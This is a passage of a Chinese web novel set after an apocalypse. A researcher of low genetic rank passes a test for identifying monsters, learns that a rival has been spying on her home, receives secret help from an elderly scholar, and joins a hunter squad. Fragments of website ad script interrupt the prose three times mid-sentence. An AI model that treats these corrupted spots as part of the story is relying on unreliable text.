梁燃是被电话铃吵醒的,她刚刚想事情睡了过去,再醒来看到的就是一个陌生号码。 对面说是执法者总队的实习联络员,今晚有个测试,需要她准时参加。 梁燃看了眼时间,发现就在一小时后,于是赶紧收拾后前往中央大楼。 走过一系列流程进入大厅后,梁燃去了五楼。 中央大楼总共有五层,一层也就是大厅,是咨询处,二楼是组织部门,平时辅助执法者总队作出决议,三楼是宣传部门与教育部门,前者负责希望区的每日新闻与杂志刊发,后者负责处理人才培育基地的种种事宜,四楼是监察部门,也是梁燃最常来的地方,而五楼就是执法者总队,所有猎杀者小队的人员构成、任务安排与奖励惩处都由执法者总队来安排。 五楼的电梯门刚打开,就迎面走来一个年轻女人。 梁燃对她很熟悉,于是垂下眸子,走出电梯门,漠然地掠过她。 擦肩而过的时候,女人突然对她出了声:“是我让你去的。” 没头没尾的一句话,但梁燃知道她的意思。 她停下脚步,转过头,知道对方还有话要说。 阮梅打量着梁燃冷静的脸庞,越看越是厌烦,“你的五官真是越来越像姐姐了,我每次在监控里看到你都很作呕,我最近突然想明白了,我为什么总想知道你是怎么害死姐姐的呢?” “只要你死了,我就什么纠结都没有了。” 事到如今,阮梅已经不打算隐瞒她在监视梁燃这件事情了,反正以梁燃的基因等级,根本没办法活着离开污染区。 至于梁燃是不是一个优秀的研究员,死掉是不是主城的损失——这不是她考虑的事情,她也不在乎。 梁燃早就习惯阮梅的说话方式。 在阮梅看来,她就是杀死梁点的元凶,阮梅追究了自己三年,想知道的也只是梁燃到底是怎么害死梁点的,而不是梁点到底是不是被梁燃害死的。 所以跟她说什么都没用。 见梁燃没有回话,阮梅以为她是被监控吓到了,脸上露出一个冰冷的笑:“还不知道吧?你的厨房、客厅、门口、门外…这些地方都被我安装了监控,你的一切我都知道,这三年来你藏得很好,我没办法在所有人面前审判你,但你终于快被命运审判了。” 如她所愿,梁燃的脸色逐渐发白。 梁燃装出全然不知情的样子,眼神空洞地注视着阮梅,手也微微颤抖起来。 “你……” 片刻,她克制住颤抖,轻声道:“…那是我的姐姐,阮梅。” “你不记得吗?姐姐说过的,她只有我一个妹妹,也只要我。” 说完,梁燃就快步向前方走去,不远处有个男生在冲她点头,应该就是叫她来的通讯员。 刚走几步,她背后就传来阮梅气急败坏的叫声,从声音的抓狂程度来看,很难辨认出这竟然是以冷血著称的监管部部长。 “我已经把你的事迹都告诉玄星小队了!” 阮梅大声喊道:“这些年我不好过,你也别想好过——” 梁燃抿紧唇,转了下头。 可能是回忆起了什么,阮梅的眼眶此时很红。梁燃没有再刺激对方,径直跟着男生进了办公室。 她讨厌阮梅,但不恨她。 梁点是个十分有人格魅力的人,她的骨鞭可以抽穿最可怖异种的咽喉,也可以卷起三岁稚童,护着孩子在异种群里奔命。她曾抱着幼小的三等公民冲进主城医院,也曾去贫民窟抽碎欺辱女性的一等公民的头骨。 她就是梁燃幻想中的那种队友,无所不能又温暖可爱。 梁燃设想过很多次,如果她仅仅是这个故事的旁观者,这么美好的一个人死在污染区,而她弱小的妹妹却活着走出来,她或许也会下意识去想“出来的是姐姐就好了”。 可她不能这么想。 她也不是旁观者。 她身处其中,并且知道梁燃真的很爱姐姐,而且她已经和姐姐一起死在了污染区。 所以梁燃从始至终都确信一点,梁点可能是为了保护妹妹死的,但绝对不是梁燃主动害死的。 但阮梅不信,她也没有办法。 走进办公室后,梁燃找了个位置坐下,男生倒了杯水递到她面前: “现在可以开始吗?” 梁燃把水杯握在手里,点头:“可以了。” 于是男生径直点开办公室中央显示屏,划到一个异种图片,问道: “请问这是什么异种?” 十分单刀直入,没有浪费任何时间。 “血蛭变异种, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”梁燃扫了眼屏幕,认真道,“发现于今年2.17日,由云晶小队在水污区带回,是人类在污染区发现的第一只血蛭变异种。” “相比于普通种,它的攻击力更强,游速更快,可以在三分钟内游遍人体内血管,五分钟内吸干人体血液,被他吸干的人类会呈现枯木状态,皮肤寸寸龟裂,骨头碎成粉末状,最后尸骨无存。” “至于如何击杀——”梁燃顿了顿,问道,“这个需要说吗?” 男生愣了愣,他看了眼屏幕,皱起眉:“这不是变异种啊,研究所怎么找的人,这么简单的都能搞错。” 梁燃:? 梁燃指着屏幕上血蛭腹部的出血点:“你再仔细看看呢?” 男生眉心皱得更用力了:“再看也只是普通种,我杀死过好几只血蛭普通种了我能不知道?你这样怎么当随行研究员,赶紧收拾收拾走吧。” “算了,你先等着,我汇报给上级,”男生拿起电话,不耐烦地拨起来,“研究所真是越来越没用了,你这种竟然也能当研究员,还随行研究员呢,别把玄星小队坑死。” 梁燃:“……” 她看着态度迅速转变的男生,刚要起身跟他细说,门外就传来爽朗的笑声。 “梁丰,你昨天还说自己知识储备比研究员都强,怎么今天就丢人啦?” 男生迅速从椅子上站起来,恭敬地看向门口:“代理指挥官,您怎么有空来了?” “没事,我就随便转转。” 一个慈祥的灰发老头走了进来,他穿着朴素的衣服,头发花白,但精气神十分不错。他笑着冲梁燃点了下头,指向屏幕:“血蛭普通种和变异种在外表看起来没有任何区别,因为区别在身体内部,也就是骨骼。” “这个就是变异种。” 男生看向梁燃,皱眉道:“既然区别在内部,那你是怎么…” 梁燃再次指向血蛭腹部:“你仔细看这里的血点,血蛭变异种因为骨骼密度更密,所以内部出血呈现喷射点状,血点小而密。所以说如果在污染区遇到血蛭异种,先要观察它身上是否有出血点,再做出相应判断。” “毕竟这两类异种的击杀方法略有不同,变异种的骨骼更难被击穿,心脏被密度极大的骨骼保护得很好,力量变异者也难以在短时间内打碎它的骨骼。” “所以如果遇到血蛭变异种,相比于暴力,我更倾向于用毒。” 说到这儿,梁燃看向明显话语权更大的老者。 老人笑着问道:“对血蛭用毒?这法子我还是第一次听到,你怎么会这么想?” 梁燃解释起来:“根据实验检测,它是怕毒的。” “吸入毒气后,巨大的疼痛感会让它骤然紧缩躯体,而后力竭舒展开,骨骼短时间内再难紧锁成一团,如此,它相比于普通种的优势就会大幅降低。” “只要先用毒,再用击杀血蛭普通种的方式去击杀变异种就可以了,比传统的用武器抽碎骨骼要轻松得多。” 男生看着那不到两厘米的出血点,再听着梁燃的分析,顿时不吱声了。 这种观察的细致程度,还有她张口就来的反应力和记忆力... 要知道目前发现的异种已经上千种了,在可以直接进系统查询资料的前提下,根本没几个人会去背这个。 而且他没记错的话,刚才梁燃好像只是扫了一眼? 老人看向男生:“发什么呆呢?” “赶紧把批准文件给人家,不说这些分析,能把异种捕捉日期记下来的研究员都不多咯。” “她很合格。” 男生忙不迭地点头,看向梁燃的目光带了点不好意思。 送走老人后,他把批准文件、两把手枪和一袋防护服递给梁燃:“明天上午八点,主城S级铁轨门口,玄星小队在那里集合。” “您穿好防护服,带着文件过去就行。” “然后……” 梁燃接过东西,“嗯?”了一声。 “还有什么事吗?” 男生小声问道:“您是从研究所的什么内部资料上背的这些信息吗?您把这些都背下来要多久啊,我还挺喜欢研究这些的…” 梁燃:“不用背,多练就行。” 男生:“啊?” 梁燃看了眼屏幕上的照片:“就这张,我拍的,我解剖,我记录。” 10.010 梁燃在执法者总部结束了短暂的测试后,径直下了楼。 回家的路上,她回忆起联络员刚才的表情。 在梁燃说出那句照片是她拍摄的后,男生眼里隐隐的佩服瞬间变成了鄙夷。 梁燃知道他表情变化的原因。 因为根据系统记录,那张照片是研究所一名B+等级的研究员拍摄的,研究记录也由那人写出,最重要的是,对方还在外界拥有有口皆碑的好名声。 于是联络员不假思索,直接和对方站在了统一战线。 但梁燃深知其中的曲折。 当时血蛭异种被捕捉带回后,研究所把解剖任务分派给了一名叫做萨德的研究员,但萨德胆子一般,平日里解剖的多是攻击力很低的异种,他在看到血蛭异种扭曲丑陋的外形后,对着那肉色蚯蚓状的条形生物干呕了好一会儿,直接找到梁燃,要求她代替拍摄解剖。 以梁燃在研究所的地位,她拒绝不了任何人,因此只能帮他把工作妥善处理好。 结果处理好后,对方不仅没有感谢她,还对她的分析数据删删改改,改成自己的研究倾向,提交进了记录档案。 所以梁燃撰写的,针对血蛭变异种可以用毒的这个提议,被对方直接删掉了。 梁燃现在还能想起萨德的冷嘲热讽。 ——“只有弱者才会放不开手脚,瞻前顾后,畏首畏尾。” ——“血蛭变异种活捉过程没有死亡一人!危险程度如此低的异种你还想搞那么麻烦,真不愧是低贱的三等公民。” ——“梁燃你是不是故意这么写的,以为我一点不看就直接交上去?你肯定是想让上面笑话我,真够恶毒的。” 梁燃当时并不觉得被侮辱,只觉得对方是个傻叉。 进入污染区后,有几个队伍经得起层出不穷异种的折腾?保住性命最基本的前提就是保存体力,能少打就少打,借用外界因素并不丢人,不借用最后死了人才丢人。 不幸的是,一语成谶。 三个月前,一名猎杀者小队成员在任务期间被寄生,但他的队友并没发现异常,队伍按部就班地进入希望区,在进行例行检查时,那名被寄生者突然跳下装甲车冲进大门。 男人的眼球像水一般流了下来,嘴里和眼框里迅速长出肉色的锯齿状触手,触手顶部遍布吸盘,他一边跑一边飞舞着触手,生生插进四散奔跑的路人的嘴里与眼中。 这是一场血腥的惨剧,而作为惨剧的源头,那名被寄生者本来是可以第一时间被抓住的,但他的两名A级队友因为执行任务力竭,即便是速度变异者也没有立刻追上他。 萨德死于这场暴乱之中。 而那个猎杀者小队执行的,就是灭杀大批血蛭变异种的任务。 如果梁燃有表达的权力,如果她的提议被完整传达,得到重视,那么这个小队的成员就会保存有大量的体力去追捕被寄生的队友,惨剧就不会发生,萨德也不会死。 可没有如果。 一切只能说是冥冥注定。 到家后,梁燃想着阮梅已经跟她明说了家里的监视器,于是佯装紧张地一阵翻箱倒柜。 忙活了几个小时后,她把三个隐蔽的监视器从几个角落翻找出来,扔进垃圾桶。以防对方怀疑,梁燃还特意留了一个在厨房,假装没有发现。 收拾好一切后,梁燃疲惫地回到卧室,倒在床上。 想到屋子里的监视器几乎没有了,她终于感受到一种久违的轻松,躺了一会儿后,她像是想起什么似的跳下床,急匆匆找到自己的日记本,翻到最新一页。 在激光灯的照射下,日记本上并没有出现新的手印。 也就是说,今天没有人偷偷来她家。 梁燃来回翻着纸页,反复确认这一点,最后停下了有些酸胀的手腕。 她摸索着薄薄的纸张,嘴角不自觉地向上弯起。 她这几年半夜总臆想着有人在她房间走来走去,总是睡不好,但根本管不住脑子。 现在终于不会再想了。 梁燃拔出笔帽,在日记本崭新的一页上,真情实感地写道: 【今天是我自污染区回来后,最开心的一天。】 【明天就要出发了。】 【祝我……】 梁燃沉吟起来,她有点不知道祝啥了,按理来说,出发前一夜总得写点吉祥话吧。 想了半天,梁燃抬笔继续写道,【就祝我前程似锦吧。】 * 第二天早上六点,梁燃准时被闹钟吵醒,她先是在床上拉伸了会儿,然后抓着卧室窗前加固的晾衣架做了二十几个引体向上,最后翻上架子,开始倒挂着卷腹。 六点半,闹钟再次响起,梁燃擦了下脸上的汗,去卫生间洗漱。 洗漱台上的镜子上可以清晰映出她腹部和手臂处紧实流畅的肌肉线条,梁燃简单冲了个澡,换上了昨天联络员给她的防护服。 防护服由研究所研发,已经更新到了第十七代,目前最新款防护服分为内外两件,底衣是白色的,极为贴身,材质透气,防辐射抗渗透,重点部分做了特殊处理,可以缓解异种攻击造成的冲击。 外衣做了正反设计,一边是深灰色一边是草绿色,避火耐寒耐磨抗腐蚀,并且颜色上具有一定隐秘性,可以同时兼顾藏匿于荒野与城市之中。 裤子设计类似于现代的工装裤,只是更为合身,颜色与外衣颜色基本一致,材质结实又轻便。 梁燃扣上腰带后,在镜子里看了眼自己。 超酷。 梁燃微微得意。 她低头数了下裤子上的口袋数量,发现足足有七个,顿时更满意了,她搜刮了一下家里的东西,把备用手套、望远镜、两支录音笔、笔记本、写字笔、微型注射器、三把不同类型的折叠解剖刀都塞了进去。 七点梁燃准点走出房门,因为集合时间是八点,所以她先去了趟研究所。 梁燃想去跟那晚慰藉她的老人道个别,毕竟她也不清楚这次任务后还能不能健康地回来,所以要在活着的时候就做想做的事。 坐了十几分钟的车,梁燃到了研究所,她刷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了信息卡走进大门。 “滴——” 刚拉开大门,浓烈的血腥味就扑面而来。 几名医护人员在走廊上的某个实验室内进进出出,不久就抬出了两个担架,担架上的尸体盖着黑色的布,用以遮掩他们身上的鲜血和破碎的四肢。 梁燃第一时间就判断出发生了什么——异种没被控制住。 一般这种时候,研究该异种的研究员和助手因为被限制在实验室狭小的空间内,难以第一时间逃离,所以都会死亡,最少也是重伤。 梁燃习以为常地移过视线,没有去管死掉的是她哪个同事。 这种事情在研究所时有发生,有可能是麻醉剂的注射剂量有误,有可能是该异种极善于伪装,甚至有可能是新来的助手好奇手贱。 总之任何差错都有可能控制不住异种,梁燃就遇到过不止一次危机,甚至有次被佯装昏迷的异种直接捅穿了腹部。 那次过后,梁燃就不再信任让别人自行处理异种了,每次解剖前,她都会对助手反复强调麻醉剂量,只要有空她就会去麻醉室监督全程,确保自己在解剖台前的安全。 越靠近出事的实验室,血腥味就越重,梁燃走过实验室的时候,往里瞥了一眼,看到了满地流淌的红白色浆状物。 她的耳边传来讨论声。 “这次又是因为什么?我真不想在研究所待了,这也太吓人了,一个月两起了啊!!” “没办法,咱们是二等公民,做什么都没得选啦。” “有人知道发生了什么吗?好恶心好恶心。” “我听说是这个研究员的助手不小心把特殊麻醉剂给弄洒了,怕被惩罚,不敢说,就只偷偷注射了一半的量,结果解剖过程中异种突然醒了……” “醒了?嘶,它没被机器锁住吗?” “四肢被锁住了啊,谁知道它用舌头攻击啊…我刚刚偷看了眼,它舌头足足有一米多长,被执法队打死的时候,它那舌头就拖拉在地上。” “所以他们的脑袋都是被舌头给……” “嘶,别说了别说了,要做噩梦了。” “话说那个死掉的助手叫什么啊,我咋没印象,感觉没见过啊。” “新来的吧,我也不认识。” 梁燃一边往老人所在的实验室走,一边听着身后的动静,全当听故事。 听到这儿,梁燃以为对话就结束了,但这时突然有个女声插进了对话。 “我知道他叫什么,我在人才基地见过他!” 女生的声音遥遥传进她的耳朵。 ——“他叫林百,以前是学无土栽培的。” 梁燃的脚步一顿。 女生还在继续往下说,语气很是可惜。 “你们不知道,他学习很好的,培育出的小花苗特别好看。我朋友和他是同专业的同学,有次问他为什么要培育花,学分给的好低,他说自己妹妹喜欢。” “那会儿我还挺羡慕他妹妹的,谁能想到......” 梁燃垂下眼,沉默地向前走去。 11.011 死亡这件事梁燃看过太多了。 她厌烦的,憎恶的人接二连三地死去,喜欢的,欣赏的人也接连不断地离开。 林百对于她,显然是前者。 所以她完全不感到唏嘘与难过,但要说开心,似乎也不怎么开心。 梁燃思来想去,只得出一个结论。 如果林百有资格进入农植院就好了,若是如此,他既不会在研究所碍手碍脚,连累死人,又可以培育出很多漂亮的花。 她也很喜欢花。 半分钟后,梁燃停在老人的实验室前,实验室门上贴着一个金属牌,上面写着老人的名字——张芝蔓。 梁燃敲了敲门。 “您在吗?”她轻声询问道。 不消片刻,门内就传来脚步声,老人走路速度不太快,梁燃等了一会儿,门才缓缓打开。 “孩子你来了。” 老人似乎知道今天梁燃会来找她,没有任何吃惊,歪了歪身子,示意梁燃进来说。 梁燃走进了老人的实验室。在她来前,老人明显在研究文献,桌子上摞着三四本摊开的书,纸张厚厚一沓,老人年纪大了,已经不能再解剖异种,但她脑子里的知识比什么都重要,目前主要负责编纂异种档案。 梁燃往老人的桌子上扫了一眼,只见最上面的纸张上写满了娟秀的字 “打扰您了。” “不打扰,”张芝蔓弓着腰咳嗽几声,摇头道:“我这平时也没人来,你能来…咳咳…”老人又咳嗽起来,好一会儿才继续道,“你能来我很开心,觉得自己都变年轻了。” 老人说完就径直走到桌子前,把她整理好的部分文件递给梁燃,“主城希望研究所能出一本更严密更全面的异种资料大全,我负责整理一部分,这是我最近的工作,你要不要看看?” 梁燃有些莫名。 她不明白老人跟她说这个做什么,这类工作属于工作量不多但对名声影响极大的,只要做好,编纂者的名字就会被大众熟知,她以前接触不到这类工作,以后更不会接触到。 但梁燃还是接了过来。 刚看了几眼,她就愣住了。 纸上的内容分明是她以往提交的部分异种信息和猎杀建议,这些资料梁燃记得很清楚,都是其他研究员挑选后,认为没价值,自行给她删掉的内容。 而现在,这些信息被完整誊写在纸上,落款是张芝蔓的名字。 梁燃抬起头刚要说话,老人就对她缓缓摇了摇头,示意她不要说话。 梁燃顿时明白实验室内有监控,不是什么话都能交流的。 “您……”梁燃看向老人。 老人轻声道:“本来要陪玄星小队去污染区的是我,这是我跟研究所提的条件,参与编写整理异种资料…咳咳,研究所看我整理的还可以,虽然现在成了你…但还是让我继续整理,全我为研究所尽心尽力的五十年。” 说到这儿,老人的声音更低了,她低下头,用只有两人才能听到的声音轻声说:“孩子,保存好你的语音记录,多存档几份,好好藏起来。” “这几天我一直在听你的工作记录,完整誊写了下来,我准备把你没被别人发表过的内容都写上去,暂时安上我的名字。“ “等整本书编纂好了,你拿出最早的时间记录,大家就都知道这部分是你研究的了,知道你是个优秀的好孩子。” 梁燃不敢置信地盯着老人看了好几眼。 “那您的名声呢?” 要知道,这部分信息一旦发表,贴上的是张芝蔓的标签,如果梁燃到时拿出证据,说这些东西都是她的,老人的名声就彻底毁了。 “我哪儿在意这个,”老人慈祥地眯起眼睛,表情闲适地像是在太阳下享受阳光,“我这把年纪了,早就没几年可活了,身后名这种东西,死人哪有身后名。” 老人笑着说,“你还那么年轻,你不能被埋没。” 梁燃:“……” 她沉默几秒,突然道:“据我所知,您被抢走的研究成果也很多。” “我这里有我研究的所有资料的存档,如果真要公开,我更愿意公开那些已经被其他研究员拿走发表的内容。” 老人连忙摇手。 “别,别。” 老人急得咳嗽声突然加剧,梁燃连忙上前轻拍她的后背,又去给她倒了杯水。老人喝完水后,急忙继续道:“我只是三等公民,你声讨我不会被报复,主城那边无所谓我怎么样,但那些人都是一等公民,身后势力都大,你说的话不仅会被压下来,还会被泼脏水,没人会信你的。” “孩子,千万别做傻事。” 梁燃摇了摇头。 她不会傻到去举报一等公民,更不会去举报老人,只是老人一片好心,她现在直白地拒绝也不好,所以只能转移话题:“不说这个了,我今天是来跟您道别的。” “我八点就要出发去污染区了,祝您身体健康。” “我这就走了。” 老人赶忙看了眼时间,发现还有不到半小时,顿时把那摞资料往梁燃怀里又推了推,音量也恢复正常:“帮我看看第二页内容,温度那里我记不起来了,你看看对不对。” 梁燃立刻明白第二页有重要信息,于是应声回:“好。” 她直接翻到第二页,认真看去。 映入眼帘的是一行字。 “孩子,我知道你是故意受伤的。” 梁燃的瞳孔猛地一缩,她下意识扫向后面的话。 “你像很久以前的女孩,应该是有人给你讲过末世前的事情吧?我猜想是你的父母与姐姐告诉你的,我先前就知道你大概不愿意去子宫,但没想到你会孤注一掷。 “ “也好,对自己心狠才能过得好。” “最近因为你,我做梦梦到好几次以前,那真是一段幸福的时光。” 梁燃捏紧了手里的纸张,老人把手搭在她的手背上,示意她赶紧往下看。 于是梁燃用最快的速度浏览起后面的内容。 “执法部的高级联络员,塞尔维,是我末世前挚友的妹妹。先前她以为我要去污染区,给我透露了一些消息,现在我把这个信息告诉你,请你务必要保密。” 老人认真写道:“遇到难以解决的事,你或许可以向季婵求助。” “这个女孩的经历被严密封锁,所有知情者都签署了保密协议,塞尔维知道的也不多,但可以确定的是,这个横空出世的S级公民,在两个多月前还只是一名三等公民。” “我总觉得三等公民最像以前的人,她说不定也是一个好孩子。” 看完所有内容了,梁燃虚指了下纸张的空白处:“温度应该是三十七度,而且这里的内容不是很全,您可以再查下资料。” 老人收回了纸,当场撕碎扔进了垃圾桶,销毁了传达的信息。 她已经八十多岁了,长年劳累让她的身体很不好,说了这些话已经非常疲惫。 老人微微佝偻起身子,跟梁燃告别: “等下次见面…我请你吃苹果。” “我家里有一整个,甜得很,被保存得特别好。” * 时间快到了,梁燃紧赶慢赶,卡着八点的前三分钟到达S级铁轨。 这个铁轨的起始站在中央大厅的正后方,全程不停车,两点一线,终点站在希望区的大门处。 因为该铁轨终点站的特殊性,所以只准许三类人乘坐,一是猎杀者队伍,二是A级及以上公民,三是身份尊贵的领导者及其子女。 梁燃第一次坐S级轨车,来不及惊叹车型的精妙设计和华丽外观,刚从上个轨车下来,就直接往中央大厅后方冲去,遥遥的,她看到站点前此时站了两个人。 她们穿着和梁燃一样的作战防护服,一个将近三十岁,肤色较黑,身型极高,目测超过了一米八。 她双臂抱胸站在那儿,利落的过肩黑发直直垂下,深邃的碧绿色眼睛凝视着前方,压迫感迎面而来。 一个大概是十八九岁,圆脸圆眼,戴着黑色圆框眼睛,一头茂密的棕色天然卷正在迎风飞舞,她的个子在旁边女生的衬托下显得很矮,但应该也有一米六以上。 她有些焦虑地左顾右看,看起来隐隐担忧的样子。 根据两人的特征,梁燃第一时间就辨认出了两人。 前者是施如,敏捷型变异者,基因等级B+,擅长近战双刀。 后者是巫若子,再生与感知类双基因变异者,基因等级A+。 大概是身高和气质营造出来的气场,虽然施如的基因等级稍低些,但一眼望过去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,她看起来比旁边的巫若子要强大得多。 不过也能理解,巫若子的基因变异方向毕竟是辅助型,和这种从异种群里杀出来的攻击型变异者是两个赛道,不能同类相比。 总之按照梁燃的偏好,甜美女生虽好,但她更喜欢施如这种冷脸酷姐,能打能抗,很有安全感。 想到这儿,梁燃看了眼时间,发现只剩一分钟了。她连忙擦干额头上的汗,整理了下衣服,快步走上前打招呼。 “你们好,我差点来晚了。” “我是……” 梁燃的话还没说完,施如就打断了她,“不用自我介绍。” 说罢她越过梁燃直接上了车。 梁燃:“……” 巫若子有些不好意思地笑笑,“我知道你…梁燃,是吧?” “赶紧上车吧,我帮你占了位置!” 在巫若子的带领下,梁燃走到轨车检票口,眼睛对准机器开始验证。 “叮!” 刷脸仪传来叮咚一声响,梁燃听过无数遍的机械女声再次响起—— “三级公民梁燃刷票中……正在检测是否有资格乘坐S级铁轨……” 每次坐A级铁轨,梁燃都会因为基因等级被这么区别对待一下。她干站着等了十几秒,直到“检测成功”的指示灯亮起,梁燃才迈开步子,神色如常地穿过检票口。 但她不感到尴尬,巫若子好像替她尴尬起来了。 “你…你每次都要这么等着吗?” 梁燃点点头,她刚踏上车,身后的巫若子就跟了上来,验票时间可能都不超过半秒。 “没关系,”巫若子低声说道,“我帮你反馈一下,猎杀者小队成员不用这么检票的,不需要检测等级,扫下脸就可以啦。” 梁燃偏过脑袋,看到了巫若子头顶安静下来的小卷毛。 这么正常的一级公民? 估计对方又在跟她玩什么“好朋友”游戏,真当真就完蛋了,能被对方当成谈资笑话好几年。 梁燃有前车之鉴,所以非常警觉。 “位置在哪?”她问巫若子。 巫若子指向右侧靠窗的两个位置:“那里,我放了伞,我们坐一起可以吗?” 梁燃点点头,正要走过去,身后忽然传来“啧”的一声。 那声音极为不耐烦,梁燃警觉性顿起,刚要侧身躲避,肩膀就被猛地撞了一下。 “砰!” 梁燃被撞的踉跄倒退了两步,因为没站稳,她的手臂下意识想要抓住扶手,结果抓了空,手臂狠狠别在两个座椅中间,疼得她倒抽了口凉气。 这是... 梁燃缓了缓疼痛感,抬头看向前方。 不远处站着的,是她曾在视频里见过的那个穿着宗教服的金发女孩。 女孩的基本信息飞快在梁燃脑海里闪过。 宋神爱,现任大主教之女,力量基因变异者,等级B+,使用武器为巨型斧头。 梁燃的心莫名安稳了许多。 这才是她熟悉的一级公民和下马威嘛,刚刚巫若子都搞得她不习惯了。 但很快梁燃就没心思再观察对方。 因为她的右臂此时完全使不上力,似乎是脱臼了。 梁燃:“.......” 不是,要不要这么丢人? 梁燃皱起眉心,有些无奈地动了动自己完好的那只胳膊,抓着右侧胳膊的大臂往上用力一掰—— “咔哒。” 骨头复位的清脆声让一直闭目养神的施如忍不住扭头看了一眼。 宋神爱也惊愕了一瞬:“你这都能脱臼?” 但表情很快就恢复了不屑:“菜鸡。” “好菜的菜鸡。” “怪不得阮梅姐说你......” 宋神爱话没说完就突然消了音,她没再多话,而是高扬着下巴,期待着梁燃破防。 但梁燃觉得她这话的攻击力不是很行,听着也就那么回事,于是沉默地点点头。 她自顾自地走向座位,全然默认了宋神爱的评价。 宋神爱:“你.......” 她突然扭头看向巫若子:“又来个窝囊的,和你简直绝配。” “算了,我饿了,给我带早饭了没?” 12.012 巫若子显然已经习惯了宋神爱的颐指气使,低头从背包里摸出两袋东西。 带着奶香味的热气顿时扑面而来。 梁燃难以克制地往旁边瞥了一眼,想看看是什么东西这么好闻,结果就看到其中一袋装了五六个热乎乎的白面团子,像是糯米糍,另一袋装着切好的苹果小块。 梁燃眨巴了两下眼。 实不相瞒,她已经喝营养液三年了,这种带着热气的正常食物,她每次看到都觉得眼前恍惚。 巫若子把两个袋子都递给宋神爱,对方毫不客气地伸手接过,低头闻了闻满是香味的团子,脸上闪过满意的神情。 “你做饭进步很快啊,以后可以给我家当厨子,”宋神爱一边说着,一边从袋子里拿出个塞进嘴里,说话的声音变得含糊,“就是不太甜,下次多加些糖。” 巫若子点头:“好。” 宋神爱一口气吃了三个团子,嫌弃地瞥了眼苹果,把剩下的团子连同苹果都扔回巫若子怀里,“我不爱吃这个,太便宜了,以后带其他的。” “我喜欢吃莓果,”宋神爱坐在两人对面,翘起二郎腿,屈尊纡贵地安排起来,“买不起的话,我让人把东西每天送到你家。” “你每次挑出最新鲜的给我洗好切好,剩下的扔了就行。” 梁燃忍不住看向宋神爱。 她也想干这事。 要知道末世新鲜的蔬菜水果比许多药品都贵,很多一级公民一个月也只能偶尔吃几次。动动手帮宋神爱切好水果才几分钟啊,剩下的都能自己吃,梁燃觉得自己完全可以干! 想到这儿,梁燃当即盯住巫若子。 她希望巫若子觉得自己被羞辱了,然后严词拒绝,这样她就能争取一下。 但巫若子显然也不是傻子,她不仅同意了,还立刻把自己的地址发给了宋神爱。 梁燃:......哦。 她失望地收回视线,继续看窗外的风景。 中央大楼纯白色的楼体在人造太阳的照耀下显得分外干净,好像能处理尽世间一切污染事,距离中央大楼几百米外是教堂,教堂外观偏向白金色,太阳形状的图案画在教堂最顶部,代表了宗教会指引人类走向阳光。 观察不久,梁燃身边就传来小声的咀嚼声。巫若子开始吃早饭了,梁燃很想继续神游,但她的余光还是忍不住飘向对方。 糯米糍在对方唇齿间拉出一条好长的线—— 好有嚼劲,好香甜,好可恶。 梁燃使劲挪了下身子,用背部对着女孩,努力把所有注意力都放在窗外,结果她刚调整好坐姿,衣角就被轻轻拉了下。 梁燃转过头:“?” 巫若子把一个团子递到她面前,小声问:“你吃早饭了吗?我吃不完了,你帮我一起吃吧。” 梁燃迟疑了下,昧着良心摇起头:“没吃。” 巫若子笑出了两个小酒窝,她把团子塞进梁燃手里,认真聊起天:“你的胳膊还疼吗?” 梁燃实话实说:“我没那么脆,已经好了。” “那就好。”巫若子笑起来。 “神爱虽然脾气暴躁了些,但刚才肯定不是故意把你撞脱臼的…力量变异者经常会这样,控制不住力度,”女孩解释道,“而且她很大方的,团队平日里的装备都是她在加钱修,施如姐之前遇到麻烦,也是她找人解决的。” “哦。”梁燃低头专心嚼着手里的吃食。 巫若子见梁燃不太想聊这个,就把话题引到了她自己身上: “你有多高啊?刚刚见面吓我一跳,感觉只比施如姐矮一点。” “一米七六。” 巫若子“嘶”了一声:“我就说嘛,幸好还有季婵比我矮,要不我要难受死了。” 梁燃:“…嗯。” 她不习惯和一等公民靠得这么近,总觉得随时会被揍一拳,但又不好表现得太抗拒,于是只能时不时附和一声。 几分钟后,就在梁燃低头看时间的间隙,巫若子突然打住了话口。 一道阴影落在她身前。 梁燃困惑地抬起头,发现她面前此时站了个十三四岁的小女孩。 女孩长得又黑又瘦,个子非常矮,看起来极度营养不良,梁燃甚至觉得对方都没超过一米五。 与体型反差极大的是,她背了一个将近两米高的黑色箱子,还提了个一米长的手提箱,因为这两个物件与她的体型过于不匹配,所以她站在那儿给人一种随时会摔倒的摇摇欲坠感。 “你是…?”梁燃与小女孩对视了片刻,皱起眉,“有什么事吗?” “季婵。” 小女孩开了口,声音很尖锐,“我是季婵,是宋神爱她奶奶,也是玄星小队的队长。” 梁燃愣了好几秒。 其实在看到女孩的作战服时,梁燃心里就有了猜测,但她还以为女孩是坐这辆车的其他队伍的童工。毕竟她看过玄星小队的作战视频,虽然季婵没露脸,可声音她是听过的,很尖细凌厉,不像是年纪非常小的样子。 现在看来,声音尖完全是因为还处于变声期。 这边梁燃还在吸收前半句话呢,那边宋神爱已经气得站了起来,“季婵!你不带我名字是不会讲话了是吧!” “我奶奶死了,告诉你我奶奶死了!” 宋神爱笑得很是得意,“哈哈哈,让你乱叫,咒自己早死了吧。” 季婵瘦小的身子灵活一躲,不知道为什么,她和宋神爱一见面就和互有杀父杀母之仇一样,眼睛都红了。 “别用你的脏手碰我!” 季婵伸出脚凶狠地踹向宋神爱的腿窝处,她是S级的力量变异者,比宋神爱的力气大了数倍,但宋神爱根本不躲,硬挺着个脖子就要和季婵硬钢。 这一脚要真落到实处,宋神爱绝对不是脱臼那么简单,骨头肯定是要断的。最后还是施如出面把宋神爱飞速捞到一边,让季婵的动作落了空。 宋神爱挑衅地看了季婵一眼,施如冷声提醒道:“宋神爱,你奶奶还活着,身体非常健康。” “为了吵赢你真是什么都能说出口。” 梁燃当即挑了下眉,巫若子紧紧抿着唇,像是快笑出来的样子。 “真孝顺。” 季婵冷笑了声,摘下身后的箱子,坐到了梁燃前面。 宋神爱说不过季婵,恼羞成怒地瞪向背后的施如:“我家就这么养你的?” 